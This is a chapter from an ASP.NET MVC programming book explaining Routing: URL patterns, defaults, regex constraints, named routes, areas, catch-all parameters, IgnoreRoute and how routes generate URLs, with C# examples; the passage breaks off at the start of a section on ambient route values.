For all the attention we pay to code, why not pay the same amount of attention to the URL? It may not seem important, but the URL is a legitimate and widely used user interface for the Web.

This chapter will help you map logical URLs to action methods on controllers. It also covers the ASP.NET Routing feature, which is a separate API that the ASP.NET MVC framework

makes heavy use of in order to map URLs to method calls. The chapter first covers how MVC uses Routing and then takes a peek under the hood at Routing as a standalone feature.

UNIFORM RESOURCE LOCATORS

Usability expert Jakob Nielsen (www.useit.com) urges developers to pay attention to URLs and provides the following guidelines for high-quality URLs. You should provide:

- A domain name that is easy to remember and easy to spell
- Short URLs
- Easy-to-type URLs
- URLs that reflect the site structure
- URLs that are *hackable* to allow users to move to higher levels of the information architecture by hacking off the end of the URL
- Persistent URLs, which don't change

Traditionally, in many web frameworks such as Classic ASP, JSP, PHP, and ASP.NET, the URL represents a physical file on disk. For example, when you see a request for `http://example.com/albums/list.aspx`, you can bet your kid's tuition that the website has a directory structure that contains an `albums` folder and a `List.aspx` file within that folder.

In this case, there is a direct relationship between the URL and what physically exists on disk. A request for this URL is received by the web server, which executes some code associated with this file to produce a response.

This 1:1 relationship between URLs and the file system is not the case with most MVC-based web frameworks, such as ASP.NET MVC. These frameworks generally take a different approach by mapping the URL to a method call on a class, rather than some physical file.

As you saw in Chapter 2, these classes are generally called *controllers* because their purpose is to control the interaction between the user input and other components of the system. And the methods that serve up the response are generally called *actions*. These represent the various actions the controller can process in response to user input requests.

This might feel unnatural to those who are accustomed to thinking of URLs as a means of accessing a file, but consider the acronym *URL* itself, *Uniform Resource Locator*. In this case, *Resource* is an abstract concept. It could certainly mean a file, but it can also be the result of a method call or something else entirely.

URI generally stands for *Uniform Resource Identifier*. All URLs are technically URIs. The W3C has said, at www.w3.org/TR/uri-clarification/#contemporary, that a “URL is a useful but informal concept: A URL is a type of URI that identifies a resource via a representation of its primary access mechanism.” One way that Ryan McDonough (www.damnhandy.com) put it is that “a URI is an identifier for some resource, but a URL gives you specific information as to how to obtain that resource.”

Arguably this is all just semantics, and most people will get your meaning regardless of which name you use. However, this discussion may be useful to you as you learn MVC because it acts as

a reminder that a URL doesn't necessarily mean a physical location of a static file on a web server's hard drive somewhere; it most certainly doesn't in the case of ASP.NET MVC. All that said, we'll use the conventional term *URL* throughout the book.

INTRODUCTION TO ROUTING

Routing within the ASP.NET MVC framework serves two main purposes:

- It matches incoming requests that would not otherwise match a file on the file system and maps the requests to a controller action.
- It constructs outgoing URLs that correspond to controller actions.

The preceding two items describe only what Routing does in the context of an ASP.NET MVC application. Later in this chapter we'll dig deeper and uncover additional Routing features available for ASP.NET.

NOTE *One constant area of confusion about Routing is its relationship to ASP.NET MVC. In its pre-beta days, Routing was an integrated feature of ASP.NET MVC. However, the team saw that it would have a useful future as a fundamental feature of ASP.NET that even Web Pages could build on, so it was extracted into its own assembly and made part of the core ASP.NET framework. The proper name for the feature is ASP.NET Routing, but everyone simply shortens it to Routing.*

Putting this feature into ASP.NET meant that it became a part of the .NET Framework (and, by association, Windows). So, while new versions of ASP.NET MVC ship often, Routing is constrained by the schedule of the larger .NET Framework; hence, it hasn't changed much over the years.

ASP.NET Web API is hostable outside of ASP.NET, which means it can't use ASP.NET Routing directly. Instead, it introduces a clone of the Routing code. But when ASP.NET Web API is hosted on ASP.NET, it mirrors all the Web API routes into the core ASP.NET Routing's set of routes. Routing, as it applies to ASP.NET Web API, is covered in Chapter 11.

Comparing Routing to URL Rewriting

To better understand Routing, many developers compare it to URL rewriting. After all, both approaches are useful in creating a separation between the incoming URL and what ends up handling the request. Additionally, both techniques can be used to create *pretty* URLs for Search Engine Optimization (SEO) purposes.

The key difference is that URL rewriting is focused on mapping one URL to another URL. For example, URL rewriting is often used for mapping old sets of URLs to a new set of URLs. Contrast that to Routing, which is focused on mapping a URL to a resource.

You might say that Routing embodies a *resource-centric* view of URLs. In this case, the URL represents a resource (not necessarily a page) on the Web. With ASP.NET Routing, this resource is a piece

of code that executes when the incoming request matches the route. The route determines how the request is dispatched based on the characteristics of the URL — it doesn't rewrite the URL.

Another key difference is that Routing also helps generate URLs using the same mapping rules that it uses to match incoming URLs. URL rewriting applies only to incoming requests and does not help in generating the original URL.

Another way to look at it is that ASP.NET Routing is more like *bidirectional* URL rewriting. However, this comparison falls short because ASP.NET Routing never actually rewrites your URL. The request URL that the user makes in the browser is the same URL your application sees throughout the entire request life cycle.

Defining Routes

Every ASP.NET MVC application needs at least one route to define how the application should handle requests, but usually will end up with a handful or more. It's conceivable that a very complex application could have dozens of routes or more.

In this section, you'll see how to define routes. Route definitions start with the URL pattern, which specifies the pattern that the route will match. Along with the route URL, routes can also specify default values and constraints for the various parts of the URL, providing tight control over how and when the route matches incoming request URLs.

A route can also have a name associated with it at the time that the route is added to a route collection. We'll cover named routes a bit later.

In the following sections, you start with an extremely simple route and build up from there.

Route URLs

After you create a new ASP.NET MVC Web Application project, take a quick look at the code in `Global.asax.cs`. You'll notice that the `Application_Start` method contains a call to a method named the `RegisterRoutes` method. This method is where all routes for the application are registered and is located in the `~/App_Start/RouteConfig.cs` file.

PRODUCT TEAM ASIDE

Rather than adding routes to the `RouteTable` directly in the `Application_Start` method, we moved the code to add routes into a separate static method named `RegisterRoutes` to make writing unit tests of your routes easier. That way, it is very easy to populate a local instance of a `RouteCollection` with the same routes that you defined in `Global.asax.cs` simply by writing the following code within a unit test method:

```
var routes = new RouteCollection();
RouteConfig.RegisterRoutes(routes);

//Write tests to verify your routes here...
```

For more details on unit testing routes, see the section “Testing Routes” in Chapter 13.

Let's clear out the routes in the `RegisterRoutes` method for now and replace them with a very simple route. When you're done, your `RegisterRoutes` method should look like this:

```
public static void RegisterRoutes(RouteCollection routes)
{
    routes.MapRoute("simple", "{first}/{second}/{third}");
}
```

The simplest form of the `MapRoute` method takes in a name for the route and the URL pattern for the route. The name is discussed later. For now, let's focus on the URL pattern.

Table 9-1 shows how the route we just defined in the preceding code will parse certain URLs into a dictionary of keys and values stored in an instance of a `RouteValueDictionary` to give you an idea of how URLs are decomposed by routes into important pieces of information used later in the request pipeline.

TABLE 9-1: URL Parameter Value Mapping Examples

URL	URL PARAMETER VALUES
/albums/display/123	first = "albums" second = "display" third = "123"
/foo/bar/baz	first = "foo" second = "bar" third = "baz"
/a.b/c-d/e-f	first = "a.b" second = "c-d" third = "e-f"

Notice that the route URL in the previous code consists of several URL segments (a *segment* is everything between slashes but not including the slashes), each of which contains a parameter delimited using curly braces. These parameters are referred to as *URL parameters*.

This is a pattern-matching rule used to determine if this route applies to an incoming request. In this example, this rule will match any URL with three segments because a URL parameter, by default, matches *any* nonempty value. When this route matches a URL with three segments, the text in the first segment of that URL corresponds to the `{first}` URL parameter, the value in the second segment of that URL corresponds to the `{second}` URL parameter, and the value in the third segment corresponds to the `{third}` parameter.

You can name these parameters almost anything you'd like (alphanumeric characters are allowed as well as a few other characters), as we did in this case. When a request comes in, Routing parses the request URL and places the route parameter values into a dictionary (specifically a `RouteValueDictionary` accessible via the `RequestContext`), using the URL parameter names as the keys and the corresponding subsections of the URL (based on position) as the values.

Later you'll learn that when using routes in the context of an MVC application, certain parameter names have a special purpose.

Route Values

If you actually make a request to the URLs listed in Table 9-1, you'll notice that a request for your application ends up returning a 404 File Not Found error. Although you can define a route with any parameter names you'd like, certain special parameter names are required by ASP.NET MVC in order to function correctly: {controller} and {action}.

The value of the {controller} parameter is used to instantiate a controller class to handle the request. By convention, MVC appends the suffix *Controller* to the value of the {controller} URL parameter and attempts to locate a type of that name (case insensitively) that also implements the `System.Web.Mvc.IController` interface.

Going back to the simple route example, let's change it from:

```
routes.MapRoute("simple", "{first}/{second}/{third}");  
to:
```

```
routes.MapRoute("simple", "{controller}/{action}/{id}");
```

so that it contains the MVC-specific URL parameter names.

If you look again at the first example in Table 9-1 and apply it to this updated route, you see that the request for /albums/display/123 is now a request for a {controller} named albums. ASP.NET MVC takes that value and appends the *Controller* suffix to get a type name, `AlbumsController`. If a type with that name exists and implements the `IController` interface, it is instantiated and used to handle the request.

The {action} parameter value is used to indicate which method of the controller to call in order to handle the current request. Note that this method invocation applies only to controller classes that inherit from the `System.Web.Mvc.Controller` base class. Classes that directly implement `IController` can implement their own conventions for handling mapping code to handle the request.

Continuing with the example of /albums/display/123, the method of `AlbumsController` that MVC will invoke is named `Display`.

Note that while the third URL in Table 9-1 is a valid route URL, it will not match any controller and action because it attempts to instantiate a controller named `a.bController` and calls the method named `c-d`, which is, of course, not a valid method name!

Any route parameters other than {controller} and {action} can be passed as parameters to the action method, if they exist. For example, assuming the following controller:

```
public class AlbumsController : Controller  
{  
    public ActionResult Display(int id)  
    {  
        //Do something  
        return View();  
    }  
}
```

a request for /albums/display/123 will cause MVC to instantiate this class and call the `Display` method, passing in 123 for the id.

In the previous example with the route URL `{controller}/{action}/{id}`, each segment contains a URL parameter that takes up the entire segment. This doesn't have to be the case. Route URLs do allow for literal values within the segments. For example, you might be integrating MVC into an existing site and want all your MVC requests to be prefaced with the word *site*; you could do this as follows:

```
site/{controller}/{action}/{id}
```

This indicates that the first segment of a URL must start with "site" in order to match this request. Thus, `/site/albums/display/123` matches this route, but `/albums/display/123` does not match.

It is even possible to have URL segments that mix literals with parameters. The only restriction is that two consecutive URL parameters are not allowed. Thus

```
{language}-{country}/{controller}/{action}  
{controller}.{action}.{id}
```

are valid route URLs, but

```
{controller}{action}/{id}
```

is not a valid route. There is no way for the route to know when the controller part of the incoming request URL ends and when the action part should begin.

Looking at some other samples (shown in Table 9-2) will help you see how the URL pattern corresponds to matching URLs.

TABLE 9-2: Route URL Patterns and Examples

ROUTE URL PATTERNS	URLS THAT MATCH
<code>{controller}/{action}/{genre}</code>	<code>/albums/list/rock</code>
<code>service/{action}-{format}</code>	<code>/service/display-xml</code>
<code>{report}/{year}/{month}/{day}</code>	<code>/sales/2008/1/23</code>

Route Defaults

So far, the chapter has covered defining routes that contain a URL pattern for matching URLs. It turns out that the route URL is not the only factor taken into consideration when matching requests. It's also possible to provide default values for a route URL parameter. For example, suppose that you have an action method that does not have a parameter:

```
public class AlbumsController : Controller  
{  
    public ActionResult List()  
    {  
        //Do something  
        return View();  
    }  
}
```

Naturally, you might want to call this method via the URL:

```
/albums/list
```

However, given the route URL defined in the previous snippet, `{controller}/{action}/{id}`, this won't work because this route matches only URLs containing three segments and `/albums/list` contains only two segments.

At this point, it would seem you need to define a new route that looks like the route defined in the previous snippet, but with only two segments: `{controller}/{action}`. Wouldn't it be nice if you didn't have to define another route and could instead indicate to the route that the third segment is optional when matching a request URL?

Fortunately, you can! The Routing API allows you to supply default values for parameter segments. For example, you can define the route like this:

```
routes.MapRoute("simple", "{controller}/{action}/{id}",
    new {id = UrlParameter.Optional});
```

The `{id = UrlParameter.Optional}` snippet defines a default value for the `{id}` parameter. This default allows this route to match requests for which the `id` parameter is missing. In other words, this route now matches any URL with two or three segments instead of matching only three-segment URLs.

NOTE *The same thing can also be accomplished by setting the `id` to be an empty string: `{id = ""}`. This seems a lot more concise, so why not use this? What's the difference?*

Remember earlier when we mentioned that URL parameter values are parsed out of the URL and put into a dictionary? Well, when you use `UrlParameter.Optional` as a default value and no value is supplied in the URL, Routing doesn't even add an entry to the dictionary. If the default value is set to an empty string, the route value dictionary will contain a value with the key "id" and the value as an empty string. In some cases, this distinction is important. It lets you know the difference between the `id` not being specified, and it being specified but left empty.

This now allows you to call the `List` action method, using the URL `/albums/list`, which satisfies our goal, but let's see what else we can do with defaults.

Multiple default values can be provided. The following snippet demonstrates providing a default value for the `{action}` parameter, as well:

```
routes.MapRoute("simple"
    , "{controller}/{action}/{id}"
    , new {id = UrlParameter.Optional, action="index"});
```

PRODUCT TEAM ASIDE

We're using shorthand syntax here for defining a dictionary. Under the hood, the `MapRoute` method converts the new `{id=UrlParameter.Optional, action="index"}` into an instance of `RouteValueDictionary`, which we'll talk more about later. The keys of the dictionary are "id" and "action", with the respective values being `UrlParameter.Optional` and "index". This syntax is a neat way for turning an object into a dictionary by using its property names as the keys to the dictionary and the property values as the values of the dictionary. The specific syntax we use here creates an anonymous type using the object initializer syntax. It may feel unusual initially, but we think you'll soon grow to appreciate its terseness and clarity.

This example supplies a default value for the `{action}` parameter within the URL via the `Defaults` dictionary property of the `Route` class. Typically the URL pattern of `{controller}/{action}` would require a two-segment URL in order to be a match. But by supplying a default value for the second parameter, this route no longer requires that the URL contain two segments to be a match. The URL may now simply contain the `{controller}` parameter and omit the `{action}` parameter to match this route. In that case, the `{action}` value is supplied via the default value rather than the incoming URL.

Let's revisit the previous table on route URL patterns and what they match, and now throw defaults into the mix, as shown in Table 9-3.

TABLE 9-3 URL Patterns and What They Match

ROUTE URL PATTERN	DEFAULTS	URLS THAT MATCH
<code>{controller}/{action}/{id}</code>	<code>new {id = UrlParameter.Optional}</code>	<code>/albums/display/123</code> <code>/albums/display</code>
<code>{controller}/{action}/{id}</code>	<code>new {controller = "home", action = "index", id = UrlParameter.Optional}</code>	<code>/albums/display/123</code> <code>/albums/display</code> <code>/albums</code> <code>/</code>

One thing to understand is that the position of a default value relative to other URL parameters is important. For example, given the URL pattern `{controller}/{action}/{id}`, providing a default value for `{action}` without specifying a default for `{id}` is effectively the same as not having a default value for `{action}`. Routing will allow such a route, but it's not particularly useful. Why is that, you ask?

A quick example will make the answer to this question clear. Suppose you had the following two routes defined, the first one containing a default value for the middle `{action}` parameter:

```
routes.MapRoute("simple", "{controller}/{action}/{id}", new {action="index"});
routes.MapRoute("simple2", "{controller}/{action}");
```

Now if a request comes in for /albums/rock, which route should it match? Should it match the first because you provide a default value for {action}, and thus {id} should be "rock"? Or should it match the second route, with the {action} parameter set to "rock"?

In this example, there is an ambiguity about which route the request should match. To avoid these types of ambiguities, the Routing engine only uses a particular default value when every subsequent parameter also has a default value defined. In this example, if we have a default value for {action} we should also provide a default value for {id}.

Routing interprets default values slightly differently when there are literal values within a URL segment. Suppose that you have the following route defined:

```
routes.MapRoute("simple", "{controller}-{action}", new {action = "index"});
```

Notice that there is a string literal (-) between the {controller} and {action} parameters. It is clear that a request for /albums-list will match this route, but should a request for /albums- match? Probably not, because that makes for an awkward-looking URL.

It turns out that with Routing, any URL segment (the portion of the URL between two slashes) with literal values must not leave out any of the parameter values when matching the request URL. The default values in this case come into play when generating URLs, which is covered later in the section “Under the Hood: How Routes Generate URLs.”

Route Constraints

Sometimes you need more control over your URLs than specifying the number of URL segments. For example, take a look at the following two URLs:

- ▶ <http://example.com/2008/01/23/>
- ▶ <http://example.com/posts/categories/aspnetmvc/>

Each URL contains three segments and would each match the default route you’ve been looking at in this chapter thus far. If you’re not careful you’ll have the system looking for a controller called 2008Controller and a method called 01! However, just by looking at these URLs you can tell they should map to different things. How can we make that happen?

This is where constraints are useful. Constraints allow you to apply a regular expression to a URL segment to restrict whether the route will match the request. For example:

```
routes.MapRoute("blog", "{year}/{month}/{day}"
    , new {controller="blog", action="index"}
    , new {year=@"\d{4}", month=@"\d{2}", day=@"\d{2}"});

routes.MapRoute("simple", "{controller}/{action}/{id}");
```

In the preceding snippet, the first route contains three URL parameters, {year}, {month}, and {day}. Each of those parameters map to a constraint in the constraints dictionary specified using an anonymous object initializer, {year=@"\d{4}", month=@"\d{2}", day=@"\d{2}"}. As you can see, the keys of the constraints dictionary map to the route’s URL parameters. Thus the constraint

for the `{year}` segment is `\d{4}`, a regular expression that only matches strings containing exactly four digits.

The format of this regular expression string is the same as that used by the .NET Framework's `Regex` class (in fact, the `Regex` class is used under the hood). If any of the constraints do not match, the route is not a match for the request, and Routing moves on to the next route.

If you're familiar with regular expressions, you know that the regular expression `\d{4}` actually matches any string containing four consecutive digits, such as `abc1234def`.

Routing automatically wraps the specified constraint expression with `^` and `$` characters to ensure that the value exactly matches the expression. In other words, the actual regular expression used in this case is `^\d{4}$` and not `\d{4}` to make sure that `1234` is a match, but `abc1234def` is not.

Thus, the first route defined in the preceding code snippet matches `/2008/05/25` but doesn't match `/08/05/25` because `08` is not a match for the regular expression `\d{4}`, and thus the year constraint is not satisfied.

NOTE You put your new route before the default simple route because routes are evaluated in order. Because a request for `/2008/06/07` would match both defined routes, you need to put the more specific route first.

By default, constraints use regular expression strings to perform matching on a request URL, but if you look carefully, you'll notice that the constraints dictionary is of type `RouteValueDictionary`, which implements `IDictionary<string, object>`. This means the values of that dictionary are of type `object`, not of type `string`. This provides flexibility in what you pass as a constraint value. You'll see how to take advantage of that in the "Custom Route Constraints" section.

Named Routes

Routing in ASP.NET doesn't require that you name your routes, and in many cases it seems to work just fine without using names. To generate a URL, simply grab a set of route values you have lying around, hand it to the Routing engine, and let the Routing engine sort it all out. But as we'll see in this section, there are cases where this can break down due to ambiguities about which route should be chosen to generate a URL. Named routes solve this problem by giving precise control over route selection when generating URLs.

For example, suppose an application has the following two routes defined:

```
public static void RegisterRoutes(RouteCollection routes)
{
    routes.MapRoute(
        name: "Test",
        url: "code/p/{action}/{id}",
        defaults: new { controller = "Section", action = "Index", id = "" }
    );

    routes.MapRoute(
        name: "Default",
        url: "{controller}/{action}/{id}",
        defaults: new { controller = "Home", action = "Index", id = "" }
    );
}
```

```

        name: "Default",
        url: "{controller}/{action}/{id}",
        defaults: new { controller = "Home", action = "Index", id = "" }
    );
}

```

To generate a hyperlink to each route from within a view, you'd write the following code:

```

@Html.RouteLink("Test", new {controller="section", action="Index", id=123})
@Html.RouteLink("Default", new {controller="Home", action="Index", id=123})

```

Notice that these two method calls don't specify which route to use to generate the links. They simply supply some route values and let the ASP.NET Routing engine figure it all out. In this example, the first method generates a link to the URL /code/p/Index/123 and the second to /Home/Index/123, which should match your expectations. This is fine for these simple cases, but there are situations where this can bite you.

Let's suppose you add the following page route at the beginning of your list of routes so that the URL /static/url is handled by the page /aspx/SomePage.aspx:

```
routes.MapPageRoute("new", "static/url", "~/aspx/SomePage.aspx");
```

Note that you can't put this route at the end of the list of routes within the `RegisterRoutes` method because it would never match incoming requests. Why wouldn't it? Well, a request for /static/url would be matched by the default route and never make it through the list of routes to get to the new route. Therefore, you need to add this route to the beginning of the list of routes before the default route.

NOTE *This problem isn't specific to Routing with Web Forms. There are many cases where you might route to a non-ASP.NET MVC route handler.*

Moving this route to the beginning of the defined list of routes seems like an innocent enough change, right? For incoming requests, this route will match only requests that exactly match /static/url but will not match any other requests. This is exactly what you want. But what about generated URLs? If you go back and look at the result of the two calls to `Url.RouteLink`, you'll find that both URLs are broken:

```
/url?controller=section&action=Index&id=123
```

and

```
/static/url?controller=Home&action=Index&id=123
```

This goes into a subtle behavior of Routing, which is admittedly somewhat of an edge case, but is something that people run into from time to time.

Typically, when you generate a URL using Routing, the route values you supply are used to "fill in" the URL parameters as discussed earlier in this chapter.

When you have a route with the URL `{controller}/{action}/{id}`, you're expected to supply values for `controller`, `action`, and `id` when generating a URL. In this case, because the new route

doesn't have any URL parameters, it matches *every* URL generation attempt because technically, "a route value *is* supplied for each URL parameter." It just so happens that there aren't any URL parameters. That's why all the existing URLs are broken, because every attempt to generate a URL now matches this new route.

This might seem like a big problem, but the fix is very simple. *Use names for all your routes and always use the route name when generating URLs.* Most of the time, letting Routing sort out which route you want to use to generate a URL is really leaving it to chance, which is not something that sits well with the obsessive-compulsive control freak developer. When generating a URL, you generally know exactly which route you want to link to, so you might as well specify it by name. If you have a need to use non-named routes and are leaving the URL generation entirely up to Routing, we recommend writing unit tests that verify the expected behavior of the routes and URL generation within your application.

Specifying the name of the route not only avoids ambiguities, but it may even eke out a bit of a performance improvement because the Routing engine can go directly to the named route and attempt to use it for URL generation.

In the previous example, where you generated two links, the following change fixes the issue. We changed the code to use named parameters to make it clear what the change was.

```
@Html.RouteLink(
    linkText: "route: Test",
    routeName: "test",
    routeValues: new {controller="section", action="Index", id=123}
)

@Html.RouteLink(
    linkText: "route: Default",
    routeName: "default",
    routeValues: new {controller="Home", action="Index", id=123}
)
```

As Elias Canetti, the famous Bulgarian novelist, noted, "People's fates are simplified by their names." The same is true for URL generation with Routing.

MVC Areas

Areas, introduced in ASP.NET MVC 2, allow you to divide your models, views, and controllers into separate functional sections. This means you can separate larger or more complex sites into sections, which can make them a lot easier to manage.

Area Route Registration

Area routes are configured by creating classes for each area that derive from the `AreaRegistration` class, overriding `AreaName` and `RegisterArea` members. In the default project templates for ASP .NET MVC, there's a call to the method `AreaRegistration.RegisterAllAreas` within the `Application_Start` method in `Global.asax`.

Area Route Conflicts

If you have two controllers with the same name, one within an area and one in the root of your application, you may run into an exception with a rather verbose error message when a request matches the route without a namespace:

Multiple types were found that match the controller named 'Home'. This can happen if the route that services this request ('{controller}/{action}/{id}') does not specify namespaces to search for a controller that matches the request. If this is the case, register this route by calling an overload of the 'MapRoute' method that takes a 'namespaces' parameter.

The request for 'Home' has found the following matching controllers:

```
AreasDemoWeb.Controllers.HomeController
AreasDemoWeb.Areas.MyArea.Controllers.HomeController
```

When using the *Add Area* dialog to add an area, a route is registered for that area with a namespace for that area. This ensures that only controllers within that area match the route for the area.

Namespaces are used to narrow down the set of controllers that are considered when matching a route. When a route has a namespace defined, only controllers that exist within that namespace are valid as a match. But in the case of a route that doesn't have a namespace defined, all controllers are valid.

That leads to this ambiguity where two controllers of the same name are a match for the route without a namespace.

One way to prevent that exception is to use unique controller names within a project. However, you may have good reasons to use the same controller name (for example, you don't want to affect your generated route URLs). In that case, you can specify a set of namespaces to use for locating controller classes for a particular route. Listing 9-1 shows how you'd do that.

LISTING 9-1: Listing 9-1.txt

```
routes.MapRoute(
    "Default",
    "{controller}/{action}/{id}",
    new { controller = "Home", action = "Index", id = "" },
    new [] { "AreasDemoWeb.Controllers" }
);
```

The preceding code uses a fourth parameter that is an array of namespace names. The controllers for the example project live in a namespace called `AreasDemoWeb.Controllers`.

Catch-All Parameter

A *catch-all parameter* allows for a route to match part of a URL with an arbitrary number of segments. The value put in the parameter is the rest of the URL sans query string.

For example, the route in Listing 9-2 would handle requests like the ones shown in Table 9-4.

LISTING 9-2: Listing 9-2.txt

```
public static void RegisterRoutes(RouteCollection routes)
{
    routes.MapRoute("catchallroute", "query/{query-name}/{*extrastuff}");
}
```

TABLE 9-4: Listing 9-2 Requests

URL	PARAMETER VALUE
/query/select/a/b/c	extrastuff = "a/b/c"
/query/select/a/b/c/	extrastuff = "a/b/c"
/query/select/	extrastuff = "" (Route still matches. The <i>catch-all</i> just catches the empty string in this case.)

Multiple URL Parameters in a Segment

As mentioned earlier, a route URL may have multiple parameters per segment. For example, all the following are valid route URLs:

- {title}-{artist}
- Album{title}and{artist}
- {filename}.{ext}

To avoid ambiguity, parameters cannot be adjacent. For example, the following are invalid:

- {title}{artist}
- Download{filename}{ext}

When matching incoming requests, literals within the route URL are matched exactly. URL parameters are matched greedily, which has the same connotations as it does with regular expressions. In other terms, the route tries to match as much text as possible with each URL parameter.

For example, looking at the route {filename}.{ext}, how would it match a request for /asp.net.mvc.xml? If {filename} were not greedy, it would match only "asp" and the {ext} parameter would match "net.mvc.xml". But because URL parameters are greedy, the {filename} parameter matches everything it can: "asp.net.mvc". It cannot match any more because it must leave room for the .{ext} portion to match the rest of the URL, "xml."

Table 9-5 demonstrates how various route URLs with multiple parameters would match. Note that you use the shorthand for {foo=bar} to indicate that the URL parameter {foo} has a default value "bar."

TABLE 9-5: Matching Route URLs with Multiple Parameters

ROUTE URL	REQUEST URL	ROUTE DATA RESULT
{filename}.{ext}	/Foo.xml.aspx	filename="Foo.xml" ext="aspx"
My{title}-{cat}	/MyHouse-dwelling	location="House" sublocation="dwelling"
{foo}xyz{bar}	/xyzxyzxyzblah	foo="xyzxyz" bar="blah"

Note that in the first example, when matching the URL /Foo.xml.aspx, the {filename} parameter did not stop at the first literal "." character, which would result in it only matching the string "foo." Instead, it was greedy and matched "Foo.xml."

StopRoutingHandler and IgnoreRoute

By default, Routing ignores requests that map to physical files on disk. That's why requests for files such as CSS, JPG, and JS files are ignored by Routing and handled in the normal manner.

But in some situations, there are requests that don't map to a file on disk that you don't want Routing to handle. For example, requests for ASP.NET's web resource handlers, WebResource.axd, are handled by an HTTP handler and don't correspond to a file on disk.

One way to ensure that Routing ignores such requests is to use the `StopRoutingHandler`. Listing 9-3 shows adding a route the manual way, by creating a route with a new `StopRoutingHandler` and adding the route to the `RouteCollection`.

LISTING 9-3: Listing 9-3.txt

```
public static void RegisterRoutes(RouteCollection routes)
{
    routes.Add(new Route
    (
        "{resource}.axd/{*pathInfo}",
        new StopRoutingHandler()
    ));

    routes.Add(new Route
    (
        "reports/{year}/{month}"
        , new SomeRouteHandler()
    ));
}
```

If a request for `/WebResource.axd` comes in, it will match that first route. Because the first route returns a `StopRoutingHandler`, the Routing system will pass the request on to normal ASP.NET processing, which in this case falls back to the normal HTTP handler mapped to handle the `.axd` extension.

There's an even easier way to tell Routing to ignore a route, and it's aptly named `IgnoreRoute`. It's an extension method that's added to the `RouteCollection` type just like `MapRoute`, which you've seen before. It's a convenience, and using this new method along with `MapRoute` changes Listing 9-3 to look like Listing 9-4.

LISTING 9-4: Listing 9-4.txt

```
public static void RegisterRoutes(RouteCollection routes)
{
    routes.IgnoreRoute("{resource}.axd/{*pathInfo}");
    routes.MapRoute("report-route", "reports/{year}/{month}");
}
```

Isn't that cleaner and easier to look at? You'll find a number of places in ASP.NET MVC where extension methods like `MapRoute` and `IgnoreRoute` can make things a bit tidier.

Debugging Routes

It used to be really frustrating to debug problems with Routing because routes are resolved by ASP .NET's internal route processing logic, beyond the reach of Visual Studio breakpoints. A bug in your routes can break your application because it invokes either an incorrect controller action or none at all. Things can be even more confusing because routes are evaluated in order, with the first matching route taking effect, so your Routing bug may not be in the route definition at all, but in its position in the list. All this used to make for frustrating debugging sessions — that is, before I wrote the Route Debugger.

When the Route Debugger is enabled it replaces all of your routes' route handlers with a `DebugRouteHandler`. This route handler traps all incoming requests and queries every route in the route table to display diagnostic data on the routes and their route parameters at the bottom of the page.

To use the Route Debugger, simply use NuGet to install it via the following command in the Package Manager Console window in Visual Studio: `Install-Package RouteDebugger`. This package adds the Route Debugger assembly and adds a setting to the `appSettings` section of `web.config` used to turn Route Debugger on or off:

```
<add key="RouteDebugger:Enabled" value="true" />
```

As long as the Route Debugger is enabled, it will display the route data pulled from the request of the current request in the address bar (see Figure 9-1). This enables you to type in various URLs in the address bar to see which route matches. At the bottom, it shows a list of all defined routes in your application. This allows you to see which of your routes would match the current URL.

FIGURE 9-1

NOTE I provided the full source for the Route Debugger, so you can modify it to output any other data that you think is relevant. For example, Stephen Walther used the Route Debugger as the basis of a Route Debugger Controller. Because it hooks in at the Controller level, it's only able to handle matching routes, which makes it less powerful from a pure debugging aspect, but it does offer a benefit in that it can be used without disabling the Routing system. You could even use this Route Debugger Controller to perform automated tests on known routes. Stephen's Route Debugger Controller is available from his blog at <http://tinyurl.com/RouteDebuggerController>.

UNDER THE HOOD: HOW ROUTES GENERATE URLs

So far, this chapter has focused mostly on how routes match incoming request URLs, which is the primary responsibility for routes. Another responsibility of the Routing system is to construct a URL that corresponds to a specific route. When generating a URL, a request for that generated URL should match the route that was selected to generate the URL in the first place. This allows Routing to be a complete two-way system for handling both outgoing and incoming URLs.

PRODUCT TEAM ASIDE

Let's take a moment and examine those two sentences. "When generating a URL, a request for that generated URL should match the route that was selected to generate the URL in the first place. This allows Routing to be a complete two-way system for handling both outgoing and incoming URLs." This is the point where the difference between Routing and URL rewriting becomes clear. Letting the Routing system generate URLs also separates concerns between not just the model, the view, and the controller, but also the powerful but silent fourth player, Routing.

In principle, developers supply a set of route values that the Routing system uses to select the first route that is capable of matching the URL.

High-Level View of URL Generation

At its core, the Routing system employs a very simple algorithm over a simple abstraction consisting of the `RouteCollection` and `RouteBase` classes. Before digging into how Routing interacts with the more complex `Route` class, let's first look at how Routing works with these classes.

A variety of methods are used to generate URLs, but they all end up calling one of the two overloads of the `RouteCollection.GetVirtualPath` method. The following code shows the method signatures for the two overloads:

```
public VirtualPathData GetVirtualPath(RequestContext requestContext,
    RouteValueDictionary values)
```

```
public VirtualPathData GetVirtualPath(RequestContext requestContext, string name,
    RouteValueDictionary values)
```

The first method receives the current `RequestContext` and user-specified route values (dictionary) used to select the desired route.

1. The route collection loops through each route and asks, “Can you generate a URL given these parameters?” via the `Route.GetVirtualPath` method. This is similar to the matching logic that applies when matching routes to an incoming request.
2. If a route answers that question (that is, it matches), it returns a `VirtualPathData` instance containing the URL as well as other information about the match. If not, it returns null, and the Routing system moves on to the next route in the list.

The second method accepts a third argument, the route name. Route names are unique within the route collection — no two routes can have the same name. When the route name is specified, the route collection doesn’t need to loop through each route. Instead, it immediately finds the route with the specified route name and moves to step 2. If that route doesn’t match the specified parameters, then the method returns null and no other routes are evaluated.

A Detailed Look at URL Generation

The `Route` class provides a specific implementation of the preceding high-level algorithm.

SIMPLE CASE

This is the logic most developers encounter when using Routing and is detailed in the following steps:

1. Developer calls a method such as `Html.ActionLink` or `Url.Action`. That method, in turn, calls `RouteCollection.GetVirtualPath`, passing in a `RequestContext`, a dictionary of values, and an optional route name used to select the correct route to generate the URL.
2. Routing looks at the required URL parameters of the route (URL parameters that do not have default values supplied) and makes sure that a value exists in the supplied dictionary of route values for each required parameter. If any required parameter does not have a value, URL generation stops immediately and returns null.
3. Some routes may contain default values that do not have a corresponding URL parameter. For example, a route might have a default value of `pastries` for a key named `category`, but `category` is not a parameter in the route URL. In this case, if the user-supplied dictionary of values contains a value for `category`, that value must match the default value for `category`. Figure 9-2 shows a flowchart example.

FIGURE 9-3

Ambient Route Values

In some scenarios, URL generation makes use of values that were not explicitly supplied to the `GetVirtualPath` method by the caller. Let's look at a scenario for an example of this.

SIMPLE CASE

Suppose that you want to display a large list of tasks. Rather than dumping them all on the page at the same time, you may want to allow users to page through them via links. For example, Figure 9-4 shows a very simple interface for paging through the list of tasks.

